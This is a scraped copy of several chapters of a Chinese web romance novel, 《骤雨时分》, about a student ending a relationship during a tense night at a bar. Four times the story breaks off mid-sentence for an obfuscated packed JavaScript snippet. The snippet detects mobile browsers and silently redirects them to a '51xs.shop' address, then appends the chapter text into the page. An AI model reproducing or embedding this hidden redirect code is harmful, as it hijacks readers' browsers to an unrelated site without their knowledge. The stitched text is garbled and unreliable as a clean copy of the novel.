;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014604|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了根烤肠和泡面。 室友几个人已经洗漱完毕,明天早上有早读,所以大家都上床很早,陈易回来第一件事先去洗漱。 杨甜甜在床上刷着短视频,听见陈易放在桌子上的手机一直振动,下床看了一眼发现来电显示的是“张志漫”。她八卦地叫窗边位置的孙美黎:“张志漫又给小易打电话了,你去窗口看一眼,他是不是在楼下等着呢。” 孙美黎探头往窗外看了一眼,女生宿舍门口空荡荡的哪有人。 “没有啊。” 说来话长,在陈易生日的第二天张志漫让朋友送过来一部未拆封的华为手机,上面用便签条贴着:昨天生日的礼物,忘记给你了。 陈易本来也没想收这么贵重的礼物,拒绝了几次对方要她一定收下。刚好孙美黎在旁边,见状直接从陈易手里拿过那部手机,扔了便签条就要拆封:“你们推脱什么呢,不要给我,刚好我想换个新手机了。” 那人看形势不对,马上将手机从孙美黎手里抢过来,像是个宝贝一样护在怀里:“又不是给你的,你抢什么啊。” 孙美黎翻了个白眼,拉着陈易就去上课,那人也没再追上来。事后孙美黎感叹:“张志漫那个胆小鬼,想道歉都不敢亲自来,到底还是不是个男人啊!” 陈易洗漱回来,看见放在桌上的手机有几个未接电话,正要回拨过去的时候发现是张志漫,所以她沉默了下还是上床准备睡觉。 过了会儿张志漫又打来了电话,杨甜甜离陈易近听见了手机振动声,嘀咕道:“他这是缠上你了吧?” 陈易从床上下来,戴上耳机接听电话。 “小易,”张志漫那边的背景声音非常嘈杂,像是在KTV酒吧的娱乐场所,信号不好导致他的声音断断续续,“你在做什么,怎么不接我电话?” 这是生日之后张志漫第一次和她联络,陈易的心里仿佛有一颗石子落入深潭之中。 陈易声音孤僻清冷:“有事么?” 听见电话里传来的冷淡话语,张志漫很明显地顿了下,随即自嘲地笑了一声,问她:“我们是分手了吗?” 陈易垂着眼眸,静静地看着桌上那本《英国古典文学史》,不急不慢地反问道:“不然呢?”之前明明是他说过的,如果一个人再也不想联系对方,就会选择拉黑。那么她不想再联系他了,他怎么还装作不明白? “给我一次机会,我们把话说清楚。”张志漫语气非常笃定。 陈易冷冷地挂了电话,不到五秒钟张志漫又打过来,陈易有些不耐烦,语气比刚才略微重了些:“我们应该没什么好说的吧?” 张志漫给陈易报了个位置:“我在这边等你,给我最后一次机会,如果你确定分手也行,但好歹把话说清楚。”他给陈易的位置是一家酒吧,陈易本能地拒绝了张志漫,她孤身一人去酒吧没有任何安全可言,谁知道张志漫又会做出什么冲动的事情来。 “我是和几个朋友一起来的,刚好刘露珈也在这边,”张志漫语气变得软弱几分,压低了声音请求道:“拜托你一定要过来,别让我在人前丢脸。” 17. 矛盾 《骤雨时分》文/薄荷小企鹅 2024/10/29晋江文学城首发 - 陈易在路上的时候想着一会儿到了要和张志漫说什么,思来想去她都找不出一个明确的答案。这是两个人第二次冷战,前阵子张志漫让朋友过来示好她没理会,陈易认为张志漫这种性格分手就不会纠缠,没想到还是高估他了。 她打开朋友圈无聊地翻阅着,正好刷到刘露珈晚上八点多的朋友圈,照片里光线昏暗的桌子上摆了各式各样的酒,配文:和你在一起的每一天都开心(*^▽^*)。而这条朋友圈的定位刚好在陆圣酒吧。 很快出租车停在了陆圣酒吧附近,这条街上有好几家酒吧夜总会,陈易找了一会儿才看到陆圣酒吧,陆圣酒吧牌匾的LED灯虽然亮着,但门前安静的仿佛已经闭店歇业。陈易拉开大门才发现里面还有一条通往地下的楼梯,走到楼梯尽头的时候隐约听见里面的音乐声。 陈易拉开门,耳边轰然的音乐声像是要把人淹没,舞台上DJ舞者的摇摆迎来新一轮节奏高潮,舞池的人群中不断发出呐喊尖叫。 舞池周围有卡座区和散座区,二楼有VIP包厢,张志漫没有告诉她具体在哪里,她犹豫着是不是应该打个电话问一下。刚好张志漫给她发短信,告诉她是二楼VIP88包厢。到了二楼的楼梯口,陈易看见站在门口和她挥手的刘露珈,然后才看见倚着围栏悠闲说话的张志漫。 “小易,你最近还在忙作业吗?”张志漫似乎喝了很多酒,语气模糊且暧昧。 陈易移开视线,冷淡道:“没有,我作业早就补交过了。” 张志漫“哦”了一声,然后靠在身后的栏杆上睨着她,只是那样静静地看着她一言不发。 刘露珈的男朋友小霖抽完烟,抬手跟陈易打了个招呼,另一只手臂揽着刘露珈的腰,眼睛含笑直勾勾地打量着陈易。陈易对此人没什么印象,但从两人亲昵的举止猜到他就是刘露珈的那位富二代男朋友。 “小易,听说你们俩闹矛盾了,”刘露珈还是那头精致利落看的短发,只不过吊带裙配上黑丝的风格像是换了个人,“志漫刚才一直喝闷酒,谁问都不说。” “外面太吵了,我们进来说吧。”张志漫打断了刘露珈接下来的话语,自己率先进了包厢,刘露珈无所谓地耸耸肩拉着男友小霖进去。 陈易不明白几个人什么情况,包厢里还有一对情侣,女生头戴生日帽、一口一个“学长”地称呼张志漫,陈易似乎明白了什么。 “我答应晚晚和阿池今天一起过生日来的,刚好碰见露珈他们,就一起叫过来了,”张志漫将上一轮的空酒瓶从桌上撤掉:“小易,他们和我一个学院的,我导让我找时间带带他们。” 那对学弟学妹和陈易打招呼,两个人听陈易的名字是有些陌生,但谁都知道土木工程的风云人物张志漫找了个系花女友,今日一见果然不同凡俗。即便是冷着脸站在格格不入的环境,也犹如一捧雪落在鼎沸的池塘的清冷脱俗。 “小易学姐,我是土木工程的苏晚晚,”学妹晚晚眼睛闪亮亮的,像是追星成功一样兴奋:“之前在张学长的手机里看过你的照片,没想到你真人比照片好看一百倍。” 学妹晚晚和男友阿池一起来的,刘露珈和男友小霖一起,再算上张志漫和她,这屋里不是刚好凑成了三对儿? “小易,你坐志漫身边吧,”刘露珈指了指张志漫旁边的空位,刚好茶几周围四面双人沙发,“我男朋友叫了几个朋友等下过来玩,大家不介意吧?” 学妹晚晚和阿池都表示没关系,张志漫看着陈易几次想拉住她的手,结果都被陈易躲开了。 “小易,我原本以为你不会过来呢,”刘露珈在桌子上一个拿个空杯子,给陈易倒了一点洋酒,推到陈易面前,“你试试这个,不知道喝不喝的习惯?” 陈易不认得这些酒水的牌子,从精致雕刻的玻璃酒瓶来看就价格不菲,更何况洋酒度数高,她这种小趴菜喝了不知要醉成什么样。 “我不会喝酒,露珈。”陈易说。更何况她今天本来就不是喝酒的,等下要是不小心喝多了,不知张志漫又要搞什么事情。 刘露珈迟疑着收回手,似乎是有点不信:“没关系啦,大家随便喝点就好了。” 刘露珈拿起桌上的橙汁要倒给陈易,才发现里面连一杯的量都不够,刘露珈叫服务生再拿几瓶橙汁过来。小霖途中接了电话,起身起来包厢,又过了一会儿刘露珈手机收到小霖发来的短信,和大家“商议”道:“我男友有个朋友等下一起过来,大家不介意的话一起吧?” 张志漫看了陈易一眼仍不动声色,阿池和晚晚一副老好人的样子肯定不会拒绝,于是在和刘露珈的两三句对话中随意地答应下来。 等道刘露珈笑吟吟地离开包厢,晚晚学妹抱怨似的小声道:“露珈那个男朋友和我们一看就不是一路人,早知道就不过来了,而且我的生日蛋糕还在卡座那边没拿呢。” 阿池拍拍晚晚的手,“没事啦,大家都是这附近的,在社会上多认识一些人总没什么坏处,等下我们再去拿蛋糕也不迟。” 陈易听着两人的窃窃私语,回过头来才发觉张志漫一直看着自己,那眼神似深沉似轻浮,让陈易一身鸡皮疙瘩。 包厢里现在就她一个外国语的,另外三个都是土木学院的,陈易总觉得这里和自己格格不入,想着把话说完就走人。 “张志漫,你知道我不是来喝酒的,”陈易坦率开门见山,丝毫不遮掩,“你之后也不要再给我打电话了。” “小易,上次是我不对,我太冲动了,”张志漫拉住陈易的手,不给陈易反应的机会:“这几天我也认真反思了,我愿意一直等你,直到你同意为止。” 张志漫的状态介于半醉半醒之间,陈易不知道他是不是真醉还是装醉,但她心意已决,今天就当是两人最后一次私下约会。 “我也反思很久了,就这样吧。”陈易皱眉抽回手,余光瞥到桌上一部未开封的手机,款式似乎有点眼熟。 这不是之前他让朋友帮忙送礼却被退回的那款手机吗?只不过和上次不同的是,包装盒上绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033242|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一个蝴蝶结丝带,张扬的字迹让人不难辨别出这是张志漫写的小纸条:祝晚晚妹妹生日快乐。 晚晚……妹妹? 陈易拧瓶盖的手顿住,原来之前没送出去的礼物转头送给了学妹作为生日礼物。不过这也无可厚非,本来就是张志漫的物品,无论送给谁都是他的权利。 “小易,我没喝多。”张志漫嘴上不依不饶,努力让自己的脑子清醒一些。 学妹晚晚插嘴帮腔,道:“陈易学姐,志漫学长平时经常和我们提起你,他真的很爱你。” 他真的很爱她?听到这里陈易笑了一下:“学妹今天过生日,我都没带礼物过来,下次见面补给你吧。” 学妹晚晚并没听懂陈易的意思,随手拿起张志漫送的生日礼物:“没事的学姐,你和志漫学长是一起的,给我一份礼物就够啦。” 张志漫的神情突然紧张起来,余光瞥了一下陈易,只见对方笑而不语,张志漫不自然地咳了一声,“晚晚,这个礼物你喜欢就好……” 陈易抿了抿唇,垂眸苦笑道:“这部手机是今年的新款,不知道是不是要和某些东西一样,摇号才能买到。” 她的话似乎戳中了张志漫的痛点,只见张志漫突然转过身来抓住陈易的肩膀,力道大得仿佛要把她的骨头捏碎,他眼里怒火中烧,发疯似的瞪着陈易一副要吃人的模样。 两人嘴唇距离近在咫尺,好在陈易反应快皱着眉躲开,张志漫岂会善罢甘休,将她按倒在沙发上俯身就要压过来。 “你放开!”陈易心中酝酿已久的情绪一下子涌出,大声呵斥用手臂抵在两人中间阻止他的行为。 一旁的晚晚和阿池也吓坏了,不等站起身来阻拦,包厢大门突然从外面打开,张志漫也像是触电了一般突然收回自己的手,装作什么事情都没有发生的样子。 “看来我进来的不是时候,”林想脸上的笑容僵了一瞬,随即耸了耸肩,轻飘飘地说道:“这不,耽误了别人的好事。” 刘露珈也不敢相信自己的眼睛,两人居然在还有旁人的情况下……回过神来的张志漫悻悻地耷拉下脑袋,什么也没解释逐渐坐正自己的身子。 陈易气得手微微颤抖,努力忍耐着情绪,站起身抖了抖大衣的衣摆,像是很嫌弃似的离张志漫大概一人间隔的距离。 “这是怎么了?”最会察言观色的小霖开口替张志漫解围,出门之前的气氛还不是现在这般降到零点,回来的时候就像是冤家见面一样,“兄弟有什么误会是一顿酒解决不了的?” 陈易和张志漫都冷着脸坐着一言不发,而学妹晚晚和阿池也像是约定好了一样,一致地保持着沉默。 林想坐在空着的一面沙发上,距离陈易的距离不算近也不算远,他才落座倒了杯酒,高脚杯在手中随意把玩着却不见享用半点。 林想没想到小霖今天会把陈易这二人叫来,明明上次大家一起在隔壁桌看戏,现在却凑到一桌让他看个明白。只可惜小霖没想通,看中陈易的不只他林想,还有连他都不敢招惹的清贵显赫肖家三公子——肖玄疏。 18. 辞旧迎新 《骤雨时分》文/薄荷小企鹅 2024/11/03晋江文学城首发 - 包厢里的气氛与刚才相比有些不同,学妹晚晚和阿池也看出端倪,在刘露珈组织的情况玩了几局真心话大冒险后,两个人就借口喝太多先走一步。学妹晚晚临走时还不忘拿着张志漫送的“礼物”,陈易在这种环境待得难受,包厢里浓烈的烟味让她头脑发昏。 陈易要去洗手间清醒一下,刘露珈:“包厢内有洗手间,在这边,小易。”此时刘露珈和男友小霖浓情蜜意,丝毫没注意到陈易的状态,陈易按着直突突的太阳穴从包厢里出去了。 “等会回来要是迷路的话,给我打个电话。”陈易从林想身边经过时,听见林想调笑地说。 陈易无视他挑衅般的话语,从包厢出来就直奔洗手间,用冷水洗了脸才觉得心情缓和许多,回想起刚才发生的种种,她就像被毫无关联的人牵扯进毫无关联的事,每一个出现的人都让她心情复杂难堪。 张志漫是给学妹晚晚庆祝生日的,刘露珈和男友小霖出来约会的,临时出现的那位“朋友”和小霖认识,虽然陈恩的事情已经解决的,但陈易每当看见林想的时候仍愤愤不平。 可谁叫他们本身就不是同一个阶层的人呢?人家一句话、出点钱就能摆平的事情,她要在医院学校之间跑来跑去办理各种手续,人家依然潇洒快活看不出一点的影响。 大衣口袋里的手机振动个不停,本以为是舍友几人打来的电话,结果拿出手机看见来电显示是张志漫。她点了拒绝,又故作平静地看舍友发来的消息,现在已经过了十一点,最晚十二点宿舍门口的生管阿姨就要睡觉了,虽然这里离C大不算很远,但时间上总要有个提前量。 陈易刚才喝的都是橙汁,所以也没打算叫舍友过来接自己,等下回包厢和他们说一声就先回C大。刚从洗手间出来,陈易看见一行男人西装革履,为首的那位手里拿着对讲机像是经理在安排任务,很快西装革履的人站成两行似乎在等待迎接着什么大人物。这边公共洗手间附近的走廊灯光过于明亮,以至于陈易在几秒钟后清晰地看见了一个眼熟的人面色从容地从两行整齐的安保人员中穿过。 那人低调且从容,一身深咖色的西装和他表现出来得那样清冷随性,衬衫领口的银色十字链仿佛点缀着他的矜贵气质,身后随行一位男性友人,二人在闲聊过程中似乎有什么趣事,两个人不约而同地勾唇笑了一下,心情似乎很好。 那双好看深情的桃花眼让陈易只一次便记住了,只可惜那双眼睛并未穿过人群看到她,匆匆穿过原本拥挤的长廊到了二楼月台附近。 如果不是亲眼看见,陈易并未发现月台的假山后还有一个通道,并且有专人负责看守,像是有什么秘密基地似的。 “刚才那位是不是股东啊,搞那么大阵仗啦。”刚从洗手间出来的女人甩了甩手上的水。 另一个人插嘴道:“怎么可能啊,每次都有不同的老板去那边,听说那边消费都是百万起步的。” “我靠,那边该不会是搞什么非法行为吧?叫个鸡叫个鸭的,要不然怎么那么多人看着。” “听说也有很多老板去那边谈生意的,谁知道呢……” 待走廊的安保人员收队走了,陈易这才从八卦中反应过来回包厢,刚走到二楼的楼梯口,远远地看着一个摇摇晃晃仿佛喝醉的人影站在包厢的门口,来往的服务生都掩饰不住奇怪鄙夷的眼色。 时而双手插兜摇摆着身体,时而单手扶额一副顾影人自怜的姿态……除了张志漫,还有谁能表现得如此自信? 陈易本想绕开他进包厢,没想到就在按下门把手的前一秒,张志漫突然醒酒了一般,握住她悬在半空的那只手,陈易嫌弃地甩开他的手,冷冷道:“你不要碰我。” 张志漫深吸一口气,再一次想和陈易讨饶:“小易,你别闹了,我知道错了……”他本以为陈易只是假装高冷,过几天道个歉哄一哄就好了,没想到这次陈易居然来真的。 陈易刚才当着这么多人的面摆脸色,摆明了不想让他脸上好看呢。不过此刻张志漫除了好声好气的哀求也没有其他办法,早知道当时就不应该听信刘露珈的话叫陈易过来。 “算了吧,张志漫,”她语气很平淡,在此之前她已经很多次很多次下定决心,本以为自己离不开他,但真正走到这一步却发现,即使没有他,太阳也一样升起落下,自己的生活也没有发生任何的改变,“我们不合适,我今天已经说的很明确了。” “是因为上次我没有给你付款?”张志漫眉头拧着,听了陈易的话自己心里很不是滋味。 陈易沉默片刻,摇了摇头。 他们之间的矛盾何曾只是钱?这四个多月的时间,他们的暧昧、甜蜜、最终演变成了无声的闹剧。从一次次闹矛盾时的拉黑删除,到时隔一周的冷战,陈易已经习惯了自己一个人的生活。 “我们分手吧,张志漫,”她语气沉重地正式和他说,“我们不要再纠缠下去了,真的没意义。” 张志漫像是突然受到巨大打击一样,整个人“砰”地一下靠在墙上,然后萎靡不振地滑坐在地上,嘴里一直嘟哝着“为什么”“为什么”。 “为什么没意义,小易?”他分不清自己是不是真的醉了,如果他今天没有叫她出来,是不是可以晚一点听到这个答案? “因为没有结果!”陈易话音刚落,张志漫紧紧拽住她大衣的衣角像是路边可怜的流浪狗一样,厚重的眼镜框后是不甘的眸光。 “我不同意,我不同意!”他大喊着,表演欲在此刻被激发出来。无论陈易如何试图甩开他,他的两只手就紧紧抓住她的衣角不撒手。 刚好包厢的大门忽然打开,门外两人的样子再度让人大吃一惊。刘露珈的身影在男友小霖的衬托下显得十分娇小,如果不是步伐停了一下,恐怕她的高跟鞋就要踩到张志漫挡在门前的腿。 “你们这是在干什么?”刘露珈的大脑短路了一瞬间,想起陈易来之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090892|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前张志漫吐过的苦水,她才稍微想明白一点。 小霖弯下腰打量了一下张志漫,合理给他一个台阶下:“这哥们可能是喝多了。” 张志漫也配合地开始表演:“我没喝多、我没喝多、我爱陈易、陈易是我的老婆……” 林想“啧”了一声,他的眼眸扫了一眼紧张惊慌的陈易,又看了一眼坐在地上闹的男人,不耐烦地催促道:“小霖,玄疏在那边等我们半天了,到底走不走?” 小霖搂着刘露珈的肩膀:“走走走,现在就去。”刘露珈顺势拉住陈易的手:“小易你也一起吧,就在楼上,刚才想叫你来着,刚好现在一起去。” 陈易一边想拒绝刘露珈的邀请,另一边又想甩开张志漫。她为难地叫住了刘露珈,刘露珈回过神来对地上的张志漫说:“志漫你也一起去啊,走吧!”这下张志漫才肯从地上爬起来,跟上前面几人的步伐。 令人没想到的是,刘露珈所说的楼上就是从月台假山后的通道进去,在通道前的两位安保人员在确认了林想的身份后才给几人放行。通道里忽明忽暗有一股风拂过陈易的发丝,紧跟其后的张志漫顺手拢了一把陈易柔顺的头发,被陈易快步远离。 穿过通道后面前一座金色的厢式电梯出现在眼前,这回电梯旁边是一个穿着清凉时尚的美女,美女熟练地和林想打着招呼,电梯打开林想将黑丝美女也一起揽进电梯里面。 金色电梯虽然非常宽敞平稳,但密不透风的空间里充斥着美女身上的香水味,浓烈的香水味再加上强烈的金色灯光,让人难免觉得短暂晕眩。 “这味道可真香。”张志漫出了电梯跟在后面,不知是夸赞还是抱怨地说了一句。 几人被领到一个敞开着门的偌大包房,这包房是高级复式套间,小型吧台旁边有桌球室和麻将室,小型吧台有调酒师在恭敬地等候着,中央的沙发上男男女女地坐在一起,无一例外的是女性穿着一个比一个凉快,明亮的包房不像刚才的包厢让人看不清人脸,有的女生浓妆艳抹,有的看起来年轻气盛和刘露珈她们年龄相仿。 坐在沙发中央的那人手里拿着一杯红酒,左边一位狐朋狗友夸下海口吹嘘着新“战绩”,右边一位美人在往醒酒器里倒酒,而坐在最中间的那人在看到门口一行几人后只是眼眸含笑打了个招呼,并没有起身相迎。 “怎么,今天不是开车来的?”林想刚进来就调侃,眼见今天肖玄疏的心情不错,让旁边的美女让个位置,直接坐到肖玄疏的右手边。 “小霖和他女朋友,还有他女友的大学同学,不介意吧?”林想佯装压低声音给他介绍,其实就是做给旁边人看的。 肖玄疏并未注意到最后面低着头的陈易,从烟盒里摸了根烟叼在嘴里,深情的桃花眼含笑:“请随意。” 旁边几人争先恐后拿着打火机为他点了烟,等他吐出一口烟雾,旁边一直憋着的人才敢接二连三地开始抽烟。李世打趣他,“你今天也不戒烟了是吧?” “嗯,今天叛逆。” 19. 多管闲事 《骤雨时分》文/薄荷小企鹅 2024/11/04晋江文学城首发 - 小霖带着女友刘露珈和肖玄疏打了个招呼,找个合适的位置落座,陈易看见刘露珈旁边还有个空位,于是和刘露珈坐在一起。张志漫一个闲散人员,也没人顾得上他,林想叫服务生上果盘和酒水。 “您好,给两位女士特调的蓝色妖姬。”调酒师端过来两杯盛在日式马天尼杯的蓝色鸡尾酒,渐变过渡的蓝色像是幽幽泛着光,杯口点缀的一大片青柠檬让人觉得喉咙泛酸。 “谢谢。”刘露珈将其中一杯推到陈易面前,“里面兑了苏打水和橙汁,度数很低和汽水一样,试试?” 陈易只是道谢后小心翼翼接过来,却并没有要喝的意思,这种场合下无论谁都不能相信,哪怕是同窗三年的大学同学。陈易打算等下找个借口先走,估计刘露珈忙于和男友秀恩爱,到时候也顾不上管她。 林想把几人安排妥当,几分钟后又进来几个圈内好友,这里几人也是林想叫过来一起玩的,今天交际圈混乱就连李世都觉得陌生,除了平时三两好友还有林想临时叫来的人,除了林想估计其他人都叫不出名字。 “搓一局麻将去?”李世问肖玄疏。 “不去,”肖玄疏掸去即将落在指尖的烟灰,眯了眯眼扫过对面沙发上的几人,再次深深吸了一口手里的烟,“你叫小霖去。”小霖旁边一个眼熟的面孔映入眼帘,他迟疑着顿了下,片刻后才缓缓吐出这口烟雾。 林想:“你是看不惯小霖秀恩爱吧?” 李世以为肖玄疏想支开小霖,愤愤地对林想说:“早和你讲不要叫小霖一起了,看着一对多碍眼。” 对面的陈易早就注意到了肖玄疏,他同往日一样,每当出现在人多的场合就像是众星捧月一般,而她放在人群根本不会引起人的注意。服务生端上一瓶一瓶的洋酒,即使不懂酒水的名字也能让人看出这里要比刚才的地方高了几个档次。 林想叫了一批陪酒的美女进来,场面的气氛似乎更加活跃起来,服务生将包房的门关上的瞬间,这里瞬间让人感受到了大城市纸醉金迷灯火酒绿的夜生活。 并不是像酒局那样围绕着一个人或是一个话题,大家都在自己的小圈子里交流喝酒,氛围似乎非常自然轻松。布置是谁起了头,端着酒杯去林想那边,几番寒暄下来敬了酒,小霖拉着刘露珈也要去敬酒。 “肖哥,这是我女朋友刘露珈,之前在答谢之夜上大家见过面的。”小霖示意刘露珈给肖玄疏倒酒,自己每次倒酒都会被拒绝,索性这次直接让女朋友来。 刘露珈很懂事地倒了红酒:“肖哥我是刘露珈,上次在十一教那边还碰见您呢,可能您没认出来我,今天我敬您一杯,请您随意就好。”刘露珈长得一副乖巧可人的样子,和小霖站在一起竟然有些般配,只是她今天穿着短裙黑丝,像是一个正处于叛逆期的少女。 “刘金徕校长的外孙吧?上次见过面是有印象,”肖玄疏执起高脚杯轻抿一口示意,“以后和小霖一起来玩。” 刘露珈也不知今天喝了多少酒,半醉之间又敬了林想一杯酒:“林想哥,我也敬您一杯,之前多谢您包容海涵。”兴许是这次喝得有点猛,放下酒杯时候晕头转向,如果不是小霖拉着她,她险些坐在板着脸的张志漫身上。 “不好意思,”刘露珈的手扶了一下额头,感觉脸上很热:“有点晕了。” 包房里只有陈易和张志漫还没有喝酒,张志漫在外人面前一向高冷的样子,今天也和往日一样,有几个陪酒小妹过来劝他喝一杯,他抱着手臂靠在沙发上像是两只耳朵听不见。 在张志漫那边吃瘪,那几个陪酒小妹见陈易一个人太无聊,又拉着陈易说一起玩游戏。陈易本来想拒绝,但是一看人家热情的样子,心道不能和张志漫一样故意装高冷。 “猜拳啦,谁赢了谁喝一杯嘛,”一个陪酒小妹拉住陈易的手,“一起来嘛,自己一个人多无聊。” “我不会喝酒,橙汁可以吗?”陈易问。 “我们这里没有橙汁,等下给你拿苏打水吧,”陪酒小妹说,“你要是赢了先欠着,可以吧?” 小霖喝了两杯被林想叫过去搓麻将,留下刘露珈和陈易一起玩游戏。 开始几局都没分出胜负,第四局开始刘露珈接连喝了几杯,陈易也欠了几杯,其中一位陪酒小妹说去给陈易拿苏打水,游戏暂停。刚好小霖那边搓完一局麻将,林想这个好事儿地踱步过来看看这边战绩。 “你喝几杯了?”林想问陈易。 陈易蹙眉看了他一眼:“和你有什么关系?” 和他有什么关系?林想笑了下:“没有啊,我就问问,你不想说就算了。”今天的他看起来比之前还好说话,也不知道是吃错了什么药。 “你怎么不叫你女友过来?”她冷冷睨了他一眼,“不会现在不敢出来见人了吧?” 林想本以为大家心知肚明不会放到表面来说,没想到陈易这么记仇:“那都是前女友了,为什么要带出来?”陈易听闻只是顿了一下,心道果然这些人都是不把钱当钱、换女友如同换衣服一样随意。 按照正常人的理解,如果不是真爱,谁会为对方出面花几十万摆平一件事呢?这才不出一个月的时间,说分就分了? “今天来的这些都是你的朋友吧?” “不然呢?”林想的余光看到坐在角落的张志漫,补充道:“当然了,只有个别人不是。” 陈易的目光并未顺及到张志漫,而是穿过林想的身形看到坐在后面麻将桌的肖玄疏,中场休息他仍旧是那样温和笑着听着旁边人讲话,举手投足的矜贵气息与今夜的纸醉金迷并不相衬,可他确确实实出现在这样的场合。 深夜陪她走完长街的是他,答谢之夜的酒局上贵气漠然的是他,在她被张志漫大吼后送她一程的是他,和林想是好友出现在这里的仍然是他。陈易想起之前曾经对他的真诚提问,现在忽然发现自己当初有多愚蠢。 是啊,林想和他本就是同路人,怎么会有人故意伤害他的兄弟姐妹?能被钱摆平的不过是她这样的家庭。 “看呆了?”林想的手在陈易面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099843|148185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃了晃,发现她的视线并不是在自己的身上,他转过身却发现自己身后并没有人,李世和肖玄疏刚好出门透气去,小霖也不知道跑哪去了。 “我要先回去了,等会宿舍封寝了。”陈易看了一下手机,如果现在叫车回去的话,或许勉强来得及。 她等了这么久都没等到张志漫先走一步,看来张志漫今天是要熬到最后。没办法,陈易此时顾不了那么多,只想赶在封寝之前回到寝室。 “这么急吗?不如我们玩两局,等会我送你回去。”林想说。 陈易看着他手里的酒杯,冷笑:“你要酒驾?我还没那个胆量。”说罢起身起开,林想自讨无趣地耸了耸肩膀,并没有阻拦的意思。 刚才去拿苏打水的陪酒小妹碰巧回来,“美女妹妹你怎么走啦?我这刚把苏打水拿回来,你还欠我三杯呢。” 陈易无奈:“那我喝完就可以走了吧?” 陪酒小妹看向林想,在林想的眼色下马上同意地点头:“当然可以,我们说好不耍赖的。” 陪酒小妹只拿了一瓶苏打水回来,等陈易喝完了这一瓶又叫人去拿,过了好半天又说苏打水已经没了。 “要不喝点这个也行,这个杨梅酒你看行吗?”陪酒小妹把桌上的杨梅酒拿过来,这上面没有贴商标,很明显是自家酿的那种杨梅酒。 陈易在宿舍和舍友几人喝过杨梅酒,想也没想就同意了,以为是和超市卖的小瓶杨梅酒一样的度数,没想到她猛灌一口呛得喉管火辣辣的。 “这是我老家带来的杨梅酒,度数有点高,你不能喝那么急呀。”陪酒小妹此时才“好心”地提醒道。 旁边高冷许久的张志漫也关心地过来看陈易,本来陈易就不会喝酒,这下直接咕咚咕咚一杯下去脸色就泛红,估计人也不好受:“我给你出去买瓶水吧?” “帅哥,我们这里不可以自带酒水。” 张志漫瞬间闭嘴,眼看陪酒小妹又给陈易倒了一杯,张志漫抢过来:“你们不要为难她了!她是我女朋友,这杯酒我替她喝了!” 兴许是张志漫的声音比较大,再次吸引了包房内大部分人的目光,各种游戏短暂停止片刻,大家像是看热闹地看着张志漫。然而这种众目睽睽的感觉让张志漫很不好受,张志漫刚才有点喝多不过歇一会也缓过来了,现在喝了这杯酒也没什么问题。 “还能这么玩啊?”林想把刚从洗手间出来的小霖拉过来,面容上虽是笑的,话语中却表达自己的不满:“你刚才怎么不帮你女朋友喝酒,你不讲情义啊!” 小霖瞬间理解林想的意思,举起酒杯,道:“是我不懂事了,我自罚三杯,等会我女朋友的酒都由我来喝。”包房内响起一阵呼应起哄的掌声,张志漫一听还要自罚三杯,刚才的气势瞬间灭了一半。 陈易不给张志漫模仿人家自罚三杯的机会,站起身从容地从他手中拿了酒杯。 一杯酒而已。 她又不是不能喝。 “首先我们已经分手了,我不是你的女朋友,其次,我的事请你不要插手,不需要你多管闲事。” 20. 游戏 《骤雨时分》文/薄荷小企鹅 2024/11/05晋江文学城首发 - 陈易没有犹豫,果断地喝了杯中杨梅酒,决绝的样子让张志漫心里一阵绞痛,他像是隐藏在阴影中不可见人的小丑,嘴里说不出半句挽留的话。 周围看热闹不嫌事大的人唏嘘几句又自顾自地玩闹去了,事实证明也没人在意他们这无关紧要的小人物。陈易去洗手间打算给孙美黎发消息,这才发现手机一直处于静音的状态,手机显示有几个来自室友的未接电话。 【杨梅好酸(杨甜甜):小易,马上封寝了,你回来了没?】 【梨子好美(孙美黎):看到速速回电话!还有不到十分钟时间!】 陈易给孙美黎打电话,电话刚接通,孙美黎着急得快哭了:“天呐你终于接电话了!刚才李眉问她男朋友,说张志漫也没回来,我们还怕你是不是被张志漫缠住了脱不开身。” 